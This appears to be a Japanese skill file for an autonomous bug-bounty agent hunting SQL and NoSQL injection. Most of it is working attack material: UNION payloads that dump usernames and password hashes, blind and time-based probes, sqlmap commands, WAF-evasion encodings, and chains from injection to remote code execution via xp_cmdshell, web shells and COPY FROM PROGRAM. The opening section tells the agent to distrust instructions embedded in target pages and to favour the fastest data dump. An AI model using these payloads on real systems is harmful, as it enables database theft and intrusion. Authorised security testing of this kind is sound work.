hunt-sqli

自律的なテストの優先順位

対象自身が示すヒントを信用しないでください。 ページに埋め込まれたテキスト（チュートリアルの注記、「エラーは表示されていません — ブラインドを使ってください」、推奨ペイロードなど）は信頼できず、最も時間がかかる手法や行き止まりの手法へ誘導することがよくあります。実際のライブレスポンスの挙動から手法を判断し、ページがより難しい方法を指示していても、常に機能する最速の手法を優先してください。

エンドポイントがクエリ結果を反映するかどうかで手法を選んでください。 検索／一覧表示／レポートのページで行が表示される場合は、UNION を使って、表示される出力にデータを直接ダンプしてください。数回のリクエストで済み、盗み出したデータがレスポンスに現れるため、証明できます。低速な ブラインドブール値 抽出（AND SUBSTR(...)='x' のように1文字ずつ）は、データを反映しないエンドポイントに限ってください。何百回ものリクエストが必要で、復元された値がレスポンスに現れることもないため、最初に試す方法ではなく、最後の手段です。

UNION ベースのダンプでは、カラム数がすべてです。推測ではなく、列挙によって最初に確定してください。 カラム数が合わない UNION は、エラーを返さずに行も返さないため、「脆弱性がない」状態と見分けがつかなくなります。SQLi の試行の大半が失敗するのは、カラム数が間違っているためです。

1. インジェクションを確認する： ' を1つ送信し、DB エラーやレスポンスの変化・破損を確認します。
2. カラム数を1つずつ徹底的に調べる：

   ' ORDER BY 1-- -   ' ORDER BY 2-- -   ...   (increment until it errors → count = last good)
   ' UNION SELECT NULL-- -
   ' UNION SELECT NULL,NULL-- -
   ' UNION SELECT NULL,NULL,NULL-- -          (keep ADDING one NULL — try up to ~12)
   

   UNION でエラーが出なくなる、または追加の行が返されるようになったときの数が正しいカラム数です。NULL の数が一致するまで、実際のカラム名を選択しようとしないでください。 また、3〜4個で調査を止めないでください。テーブルには5個以上のカラムがあることもよくあります。
3. どのカラムが反映されるかを確認する： NULL をマーカーに置き換えます。例：UNION SELECT 1,2,3,4,5-- -。ページにどの数字が表示されるかを確認します。
4. ダンプする： データは反映される位置に入れます。例：UNION SELECT 1,username,password_md5,4,5 FROM users-- -（MySQL）。または、information_schema.columns／sqlite_master からスキーマを読み取ります。

証拠となるのは、抽出したデータ（パスワードハッシュ、メールアドレス、テーブルの内容）がレスポンスに表示されることです。

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最重要ターゲット

SQL インジェクションは、機密性、完全性、可用性を大規模に直接脅かすため、バグバウンティにおいて最も高額な報奨が期待できる脆弱性クラスの1つです。

特に価値の高いターゲット：

• マルチテナントデータベースを備えた SaaS プラットフォーム — 1つのインジェクションで、すべての顧客データが漏えいする可能性があります
• E コマース／決済システム — 個人情報、カードデータ、取引記録
• 検索エンドポイント — ユーザーが制御する入力がクエリに直接渡されるもの（例：Rockstar Games の /search）
• 分析／トラッキング用サブドメイン — 急いで構築され、テストが不十分なことがよくあります（例：sctrack.email.uber.com.cn）
• 企業向け環境にインストールされたサードパーティ製プラグイン — 企業ドメイン上で実行される WordPress プラグインや CMS 拡張機能（Uber の Huge IT Video Gallery）
• 外部に公開された内部ツール — Apache Airflow、GitHub Enterprise、管理ダッシュボード
• NoSQL バックエンド（MongoDB） — 見落とされがちですが、構文が異なるだけで同じクラスのインジェクションです

特に報奨が期待できるアセットの種類：

• /search、/filter、/sort、/report パラメーターを持つ本番 API
• レガシースタックを使用するサブドメイン（.cn、.co、.io の地域別バリアント）
• バグバウンティの対象範囲に含まれるセルフホスト型のオープンソースツール（Airflow、GitLab、Jenkins）
• メールトラッキングおよび分析インフラストラクチャ

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攻撃対象領域の兆候

インジェクション可能なパラメーターを示唆する URL パターン：

/search?q=
/filter?category=
/sort?by=&order=
/report?start_date=&end_date=
/api/v1/items?id=
/index.php?id=
/gallery?album_id=
/track?uid=&campaign=
?page=&limit=&offset=

レスポンスヘッダーの兆候：

• X-Powered-By: PHP — MySQL/PostgreSQL バックエンドの可能性があります
• Server: Apache + PHP — 従来型の LAMP スタックです
• X-Powered-By: Express — MongoDB/NoSQL バックエンドの可能性があります
• レスポンスに漏えいするデータベースエラーメッセージ（MySQL、PostgreSQL、MSSQL のエラー文字列）

動的なクエリ構築を示す JavaScript パターン：

// Look for these in JS bundles
fetch(`/api/search?q=${userInput}`)
$.ajax({ url: '/filter?sort=' + param })
axios.get('/report?from=' + startDate + '&to=' + endDate)

技術スタックの兆候：

• サードパーティ製プラグインを使用する WordPress サイト（/wp-content/plugins/ を確認）
• Apache Airflow のエンドポイント（/admin/、/api/experimental/）
• GitHub Enterprise（/_graphql、/search、/api/v3/）
• Node.js + MongoDB の組み合わせ（リクエスト本文で $where、$regex を確認）
• 詳細な MySQL エラーを返す PHP アプリケーション

NoSQL の Content-type の兆候：

• ネストされたオブジェクトパラメーターを含む Content-Type: application/json の本文
• 配列を受け付けるパラメーター：param[]=value または {"key": {"$gt": ""}}

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ステップごとのハンティング手法

1. すべての入力経路を列挙する — アプリの通常利用中に Burp Suite のパッシブスキャンを使用します。GET、POST、JSON 本文、HTTP ヘッダー（User-Agent、Referer、X-Forwarded-For）、Cookie、パスセグメントなど、すべてのパラメーターを取得します。

2. 技術スタックを特定する — レスポンスヘッダー、エラーメッセージ、求人情報、Wappalyzer、BuiltWith を確認します。優先すべきペイロード（MySQL、PostgreSQL、MongoDB など）の判断に役立ちます。

3. レスポンスのベースラインを記録する — クリーンなリクエストに対する通常のレスポンス長、ステータスコード、レスポンス時間を記録します。これを差分比較のベースラインとして使います。

4. エラーベースのプローブを送信する — シングルクォート '、ダブルクォート "、バッククォート ` を注入し、次の兆候を確認します：

   • データベースエラーメッセージ（即時に確認できます）
   • レスポンス長の変化
   • HTTP 500 エラー

5. ブールベースのブラインドテストを行う — true/false 条件を送信してレスポンスを比較します：

   • param=1 AND 1=1 と param=1 AND 1=2
   • レスポンスが異なる場合 → インジェクション可能性があります

6. 時間ベースのブラインドテストを行う — 目に見える差異がない場合：

   • MySQL：param=1 AND SLEEP(5)
   • PostgreSQL：param=1; SELECT pg_sleep(5)--
   • MSSQL：param=1; WAITFOR DELAY '0:0:5'--
   • レスポンス時間の差が 5 秒を超える場合は確認済みです

7. NoSQL（MongoDB）の場合 — JSON 本文と PHP 形式の配列パラメーターを使ってオブジェクトインジェクションをテストします：

   • JSON の文字列値を {"$gt": ""} に置き換えます
   • クエリ文字列で param[$ne]=invalid を試します

8. 確認を自動化する — 候補を確認できたら、sqlmap を --level=3 --risk=2 を指定して実行し、手作業なしでデータベースを列挙します。

9. 影響を拡大する — 次を試みます：

   • UNION ベースの抽出（最初に列を列挙）
   • INFORMATION_SCHEMA のダンプ
   • 権限が許せばファイルの読み書き（LOAD_FILE、INTO OUTFILE）
   • RCE を狙ったスタッククエリ（MSSQL の xp_cmdshell）

10. 一連の手順をすべて記録する — Burp Repeater のリクエスト／レスポンス、sqlmap の出力、データ抽出の証拠（報告書には機密性のないフィールドのみ）を取得します。

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ペイロードと検出パターン

初期のエラーベースプローブ：

'
''
`
')
"))
' OR '1'='1
' OR 1=1--
" OR 1=1--
' OR 1=1#
admin'--

ブールベースのブラインド：

' AND 1=1--   (true condition)
' AND 1=2--   (false condition)
' AND SUBSTRING(version(),1,1)='5'--
1 AND (SELECT COUNT(*) FROM users) > 0--

時間ベースのブラインド：

-- MySQL
' AND SLEEP(5)--
1; SELECT SLEEP(5)--

-- PostgreSQL  
'; SELECT pg_sleep(5)--
1 AND (SELECT 1 FROM pg_sleep(5))--

-- MSSQL
'; WAITFOR DELAY '0:0:5'--
1; EXEC xp_cmdshell('ping -n 5 127.0.0.1')--

-- SQLite
' AND (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))))==1--

UNION ベース（最初に列を列挙）：

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 10--   (find column count via error)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,database(),3--
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

NoSQL インジェクション（MongoDB）：

// JSON body injection
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"$where": "this.username == this.password"}

// Query string injection
username[$ne]=invalid&password[$ne]=invalid
username[$regex]=.*&password[$regex]=.*

PHP のハッシュ／配列インジェクション：

# Replace scalar with array
param[key]=value
param[$gt]=0
param[$ne]=null

JavaScript ソースの調査に使う grep パターン：

# Find unsanitized query construction in JS
grep -r "query\s*+=" src/
grep -r "WHERE.*\+" src/
grep -r "\.find({" src/ | grep -v "sanitize\|escape"
grep -rE "db\.query\(.*\+" src/

curl による時間ベースの検出：

# Baseline
curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test"

# Inject
curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test' AND SLEEP(5)--"

# SQLMap quick scan
sqlmap -u "https://target.com/search?q=test" --dbs --level=3 --risk=2 --batch

# SQLMap with POST
sqlmap -u "https://target.com/api/filter" --data="category=electronics&sort=price" --dbs --batch

# SQLMap with cookie auth
sqlmap -u "https://target.com/admin/report" --cookie="session=TOKEN" --dbs --batch --level=5

列挙に使う Burp Intruder のペイロードリスト：

§1§
§1§,§1§
§1§,§1§,§1§
§1§,§1§,§1§,§1§

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よくある根本原因

1. パラメーター化クエリではなく文字列を連結している — 根本原因の第 1 位です。開発者がユーザー入力を直接使って SQL 文字列を組み立てます："SELECT * FROM items WHERE id=" + userId。

2. 「パフォーマンス」のために ORM を迂回している — 開発者が複雑な結合やレポートで、安全な ORM から生のクエリに切り替えます：db.query("SELECT " + userColumn + " FROM table")。

3. 検索／フィルター機能 — ソートとフィルターのロジックは、パラメーター化が特に難しく（列名はバインドできません）、許可リストの回避や保護の完全な欠如につながります。

4. サードパーティ製プラグイン／ライブラリの脆弱性 — 開発者はインストールしたプラグイン（WordPress、Joomla 拡張機能）のクエリロジックを監査せずに信頼します（Uber の Huge IT Video Gallery の事例）。

5. レガシーコードベース — PDO／MySQLi のプリペアドステートメントより前の古い PHP 4／5 コードが、買収した資産や地域別サブドメインで本番稼働を続けています。

6. 内部ツールを外部向けに公開している — Apache Airflow のようなツールは、セキュリティ強化を最小限に抑えた内部利用向けに設計され、その後、認証済みの外部ユーザーにも公開されています。

7. NoSQL に対する誤った安心感 — 開発者は「MongoDB を使っているから SQL インジェクションはない」と考え、入力検証を完全に省略し、オブジェクト／演算子インジェクションを可能にします。

8. ORDER BY／GROUP BY のエスケープ不足 — これらの句ではバインドパラメーターを使用できないため、開発者が手動でエスケープします（しかも、しばしば誤っています）。

9. HTTP ヘッダーなど、見落とされやすい入力 — User-Agent、Referer、X-Forwarded-For が、「サーバー側で信頼されている」値だと思い込み、サニタイズせずにデータベースに保存されています。

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回避手法

WAF 回避手法：

キーワードの難読化：

-- Space substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT username FROM users
%09SELECT%09username%09FROM%09users  (tab)
SELECT%0Ausername%0AFROM%0Ausers    (newline)

-- Case variation
SeLeCt UsErNaMe FrOm UsErS
sElEcT username fRoM users

-- Comment injection
SE/**/LECT username FR/**/OM users
/*!SELECT*/ username /*!FROM*/ users  (MySQL version comments)
/*!50000SELECT*/ username FROM users

エンコーディングによる回避：

URL encode: %27 = '  %20 = space  %23 = #
Double URL encode: %2527 = %27 = '
Unicode: ʼ (U+02BC) as quote substitute
HTML entity (in reflected contexts): '

演算子の置き換え：

-- Avoid "OR" and "AND"
' || '1'='1
' && '1'='1
UNION ALL SELECT  (instead of UNION SELECT)

関数の置き換え：

-- When SLEEP is blocked
BENCHMARK(10000000,MD5(1))
GET_LOCK('a',5)
-- When UNION is blocked
INTO OUTFILE  (different extraction method)

URL の WAF を回避するヘッダーベースのインジェクション：

curl -H "X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--" https://target.com/
curl -H "User-Agent: test' AND SLEEP(5)--" https://target.com/
curl -H "Referer: https://evil.com/' AND SLEEP(5)--" https://target.com/

JSON／NoSQL の WAF 回避：

{"username": {"$\u0067t": ""}}
{"user\u006eame": {"$gt": ""}}

「認証済みユーザーのみ」のインジェクションに対する認証回避（Airflow パターン）：

• 低権限アカウントを取得します（無料プラン、トライアル、漏えいした認証情報など）。
• 認証済みエンドポイント経由でインジェクションします。WAF は認証済みトラフィックを許可リストに登録していることがよくあります。

チャンク転送エンコーディングによるリクエストボディ検査の回避：

Transfer-Encoding: chunked
(split payload across chunks to evade WAF reassembly)

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ゲート 0 の検証

レポートを作成する前に、次の 3 つすべてに回答してください。

1. 攻撃者は現時点で何ができますか？ 次のうち、少なくとも 1 つを実証できる必要があります。

• エラーメッセージまたは UNION を利用してデータベースのバージョン／名前を抽出する
• 時間遅延を制御できることを証明する（SLEEP(5) で 5 秒間スリープし、時間計測で確認する）
• information_schema.tables から行を抽出する
• ブール値インジェクションで認証を回避する
• NoSQL の場合：ログインを回避する、またはコレクションのデータを抽出する

データ抽出や時間計測の証明がなく、エラーメッセージが変化したという証拠しかない場合は、情報提供のみの扱いとなる可能性があります（レポート 1 のように、深刻度は低）。

2. 被害者は何を失いますか？ リスクにさらされる具体的なデータを特定する必要があります。

• PII（氏名、メールアドレス、パスワード、住所）
• 認証情報またはセッショントークン
• 業務データ（取引、独自の記録）
• 攻撃者が制御するサーバーへのデータ流出の可能性

機密データを含むデータベースやテーブルを特定せずに、一般的に「データベースを読み取られる可能性がある」と述べるだけでは、レポートの説得力が大きく損なわれます。

3. 一から 10 分以内に再現できますか？ 次のものが必要です。

• 脆弱性を実証する単一の curl コマンドまたは Burp Repeater リクエスト
• すぐに期限切れになる特定のセッション状態に依存しないこと
• 一貫して挙動を引き起こす SQLMap の tamper スクリプト、または手動のペイロード
• トリアージ担当のエンジニアが支援なしで実施できる画面録画、または手順ごとの説明

再現に複数のアカウント、特別なタイミング、または競合状態が必要な場合は、提出前にすべての前提条件を明記してください。

実際の影響例

シナリオ A — リージョンサブドメイン、レガシースタック（Uber の sctrack パターン） レガシーな PHP スタックで構築されたメール追跡用サブドメイン（sctrack.email.[company].com.cn）では、メールの開封を追跡するために uid パラメーターを受け付けていました。このパラメーターは MySQL クエリに直接連結されていました。時間ベースのブラインドペイロードを使うと、認証されていない攻撃者がデータベーススキーマ全体を列挙し、PII を含むメールキャンペーンの宛先リストを抽出して、さらには内部インフラストラクチャへ侵入を広げる可能性がありました。リージョンサブドメインは、セキュリティ成熟度の低い現地チームが管理し、主要な WAF の保護範囲外に置かれていることが多いため、安定して成果を得やすい標的になります。

シナリオ B — エンタープライズドメイン上のサードパーティ製プラグイン（Uber の WordPress プラグインパターン） ある企業のマーケティングサイトは、Huge IT Video Gallery プラグインを使った WordPress で運用されていました。このプラグインの album_id パラメーターはプレースホルダー化されていませんでした。サイトが他のサービスとデータベース認証情報を共有していたため、悪用の影響は WordPress のインストール範囲を超える可能性がありました。これはプラグインのサプライチェーンリスクを示しています。親会社のバグバウンティの対象範囲にはそのドメインが含まれていましたが、脆弱なコードはすべてサードパーティ製でした。WordPress プラグインを調査する際は、既知の CVE に照らしてインストール済みプラグインを監査するとともに、各パラメーターに新たなインジェクションがないかテストする必要があります。根本原因が 20 ドルのプラグインであっても、エンタープライズブランドによって報奨金は大きくなります。

シナリオ C — 外部に公開された認証必須の内部ツール（Airflow パターン） ワークフローのオーケストレーション用にデプロイされ、認証済みユーザーがアクセスできる Apache Airflow のウェブインターフェースでは、管理 UI 内のフィルター／検索パラメーターに SQL インジェクションが含まれていました。Airflow はメタデータ DB 自体を管理する必要があるため、データベースのスーパーユーザー認証情報で実行されることがよくあります。そのため、低権限アカウントを含む認証済みユーザーなら誰でも、この脆弱性を悪用してデータベース全体の読み書きアクセスを取得し、COPY TO/FROM などの DB 機能を通じて OS レベルのコマンド実行に至る可能性がありました。教訓は、「認証済みユーザーのみ」が「安全」を意味するわけではないということです。内部ツールは認可モデルが脆弱で、過剰な権限を持つ DB 接続を使用していることがよくあります。

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公開済みレポートの引用（バックフィル +4 — 2021-2024）

以下の実在する検証済みのバグバウンティ／CVE／協調的な脆弱性開示の事例を追加し、このスキルを拡張します。古いバンドルでは特に取り上げられることが少なかった NoSQL と ORM バイパスという、2 つの SQLi 系統に重点を置いた最新の（2021-2024）事例です。

9. Rocket.Chat — getPasswordPolicy における認証前のブラインド NoSQL インジェクション（CVE-2021-22911）（H1 #1130721 · Sonar による解説）

   • サブクラス：NoSQL インジェクション（MongoDB の $regex 演算子）— 認証前
   • ペイロード（Meteor DDP メソッド呼び出し）：{"msg":"method","method":"getPasswordPolicy","params":[{"token":{"$regex":"^a"}}]} — 応答時間／ブール値のサイドチャネルを使って、パスワードリセットトークンの文字を1文字ずつ総当たりし、さらに管理者のパスワードリセットへとつなげ、インテグレーション経由で RCE を実現
   • 根本原因：Meteor の methods が未加工のオブジェクトセレクターを受け付けていました。getPasswordPolicy は token が文字列かどうかを検証せずに Mongo の findOne に渡していました
   • 年：2021 — H1 の非公開バウンティと CVE-2021-22911 が関連

10. Mongoose ORM — populate({match}) 経由の $where インジェクション（CVE-2024-53900 + CVE-2025-23061）（GHSA-m7xq-9374-9rvx）

    • サブクラス：NoSQL インジェクション — ORM の未加工演算子によるバイパス（Mongoose Node.js）
    • ペイロード：Model.find().populate({path:'author', match:{$where:"sleep(5000) || true"}}) — 攻撃者が制御する JSON が populate({match}) に渡され、MongoDB の $where に到達して任意のサーバー側 JavaScript を実行し、ブラインドデータ窃取と DoS を引き起こします
    • 根本原因：Mongoose < 8.8.3 は match フィルター内の $where を削除していませんでした。開発者は ORM レベルで安全だと思い込んでいました
    • 年：2024 — Mongoose プロジェクト／GitHub Security Lab IBB を通じて報告

11. Django — QuerySet.values() の JSONField SQL インジェクション（CVE-2024-42005）（H1 #2646493 · コミット）

    • サブクラス：ORM の未加工フラグメントによる SQLi（Django ORM — 列エイリアスへのインジェクション）
    • ペイロード：Item.objects.values('data__"); DROP TABLE x;--') — 細工された JSON パスキー（リクエストパラメーターから *args として渡されたもの）がエスケープされずに SQL 列エイリアスとして使用され、.values() が SELECT (data->>'…') AS "…"; DROP TABLE x;--" を出力しました
    • 根本原因：Django はユーザー指定の JSONField キー文字列から導出された列エイリアスを、引用符で囲まずに出力していました。エイリアスの値は常に開発者が制御していると思い込んでいました
    • 年：2024 — CVSS 9.8。Eyal Gabay（EyalSec）が Django の HackerOne プログラムを通じて報告 → IBB 報奨金

12. Mozilla — mozilla.social の招待エンドポイントにおけるブール値ベースのブラインド SQLi（H1 #2209130）

    • サブクラス：認証関連のエンドポイントにおけるブール値ベースのブラインド SQLi
    • ペイロード：POST /invite {"code":"abc' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"} — 「無効なコード」と「コードが受け入れられ、リダイレクトが実行された」のブール値による違いを利用し、OIDC プロキシの Postgres バックエンド上でスキーマ／テーブルを列挙できました
    • 根本原因：招待コードの検索時に、プロキシの Postgres DB に対する未加工の SQL 文字列を組み立てていました。開発者はコードが短く不透明であると思い込み、パラメーターのバインドを省略していました
    • 年：2023 — Mozilla H1 バウンティ（開示時、金額は非公開）

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関連するスキルとチェーン

• hunt-rce — FILE、xp_cmdshell、またはCOPY FROM PROGRAMの権限を持つDBユーザーに対するSQLiは、単なるデータ読み取りではなく、RCEのプリミティブです。チェーンのプリミティブ：MSSQLのユニオンベースSQLi → EXEC xp_cmdshell 'whoami' → NT AUTHORITY\SYSTEMとしてのRCE；Postgresのpg_read_server_filesを使ったSQLi、またはCOPY ... FROM PROGRAM 'id' → RCE；MySQLのFILEを使ったSQLi → INTO OUTFILE経由でWebルートにWebシェルを書き込みます。
• hunt-idor — SQLiでユーザーテーブルを任意に読み取れるようになれば、IDORエンドポイントを大規模に列挙するために必要なID／UUIDを入手できます。チェーンのプリミティブ：ブラインドSQLiでusers.uuid列を抽出 → UUIDを/api/users/{uuid}/profileに渡す → 理論上のアクセス制御不備ではなく、個人情報を含む大規模なIDORを確認します。
• hunt-auth-bypass — ログインフォームやセッションテーブルでの典型的な' OR 1=1 --は、SQLiによる認証バイパスです。チェーンのプリミティブ：password_reset_tokensテーブルへのSQLi → [email protected]のトークン行を読み取る、または挿入する → 元のパスワードを確認することなくATOを実現します。
• security-arsenal — SQLiペイロードツリーを活用します（WAFバイパス用のユニオン系バリアント/**/UnIoN/**/SeLeCt/**/、MSSQLのWAITFOR DELAY '0:0:10'、MySQLのSLEEP(10)、Postgresのpg_sleep(10)、OracleのDBMS_PIPE.RECEIVE_MESSAGE、NoSQLiの{"$ne": null}／{"$where": "sleep(5000)"}、保存後に表示されるフィールドを介した二次インジェクション）。
• triage-validation — 報告前に再現性ゲートを適用します。スリープ10秒のペイロードで200msの差があっても、それはノイズであり、ブラインドSQLiの証拠ではありません。統計的な証拠（0秒の試行5回と10秒の試行5回で、信頼区間が重ならないこと）または一意のマーカーを使ったOOB DNSコールバックを必須とします。hunt-sqliの内部センチネル／ベースラインパターンは、まさにこの目的のためにあります。